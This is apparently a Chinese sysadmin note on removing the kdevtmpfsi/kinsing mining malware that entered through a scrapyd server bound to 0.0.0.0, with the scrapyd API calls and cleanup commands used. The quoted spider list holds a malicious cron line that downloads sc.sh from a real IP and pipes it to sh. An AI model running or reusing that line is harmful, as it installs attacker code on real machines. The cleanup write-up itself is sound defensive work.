清除挖矿病毒kdevtmpfsi

首先确保scrapyd没有对外网0.0.0.0开放
可以检查阿里云安全组
还有scrapyd包所在目录的配置文件
一般在虚拟环境目录/lib/python3.x/site-packages/scrapyd
vim default_scrapyd.conf 第11行，bind_address是否为0.0.0.0

curl http://123.45.67.89:6800/listprojects.json
{"node_name": "xxx", "status": "ok", "projects": ["xxx", "evil"]}

evil为不正常的project

curl http://123.45.67.89:6800/listspiders.json?project=evil
结果如下
{
    "node_name": "cetcai",
    "status": "ok",
    "spiders": [
        "防火墙在系统启动时自动禁用",
        "kernel.nmi_watchdog = 0",
        "P NOT EXISTS",
        "52ca5bc47c84a748d2b349871331d36a",
        "kinsing OK",
        "* * * * * wget -q -O - http://195.3.146.118/sc.sh | sh > /dev/null 2>&1",
        "cron good",
        "防火墙在系统启动时自动禁用",
        "kernel.nmi_watchdog = 0",
        "P NOT EXISTS",
        "52ca5bc47c84a748d2b349871331d36a",
        "kinsing OK",
        "* * * * * wget -q -O - http://195.3.146.118/sc.sh | sh > /dev/null 2>&1",
        "cron good"
    ]
}
找到原因

curl http://123.45.67.89:6800/listversions.json?project=evil  # 查看版本
{"node_name": "xxx", "status": "ok", "versions": ["r01"]}
curl http://123.45.67.89:6800/delversion.json -d project=evil -d version=r01  # 删除版本
curl http://123.45.67.89:6800/listversions.json?project=evil  # 再次查看版本
{"node_name": "xxx", "status": "ok", "versions": [""]}  # 已被删除

ps -ef | grep kinsing
ps -ef | grep kdevtmpfsi

查看病毒所在位置和pid
rm 删除
kill -9 杀掉
crontab -e 删除不正常的定时任务

ok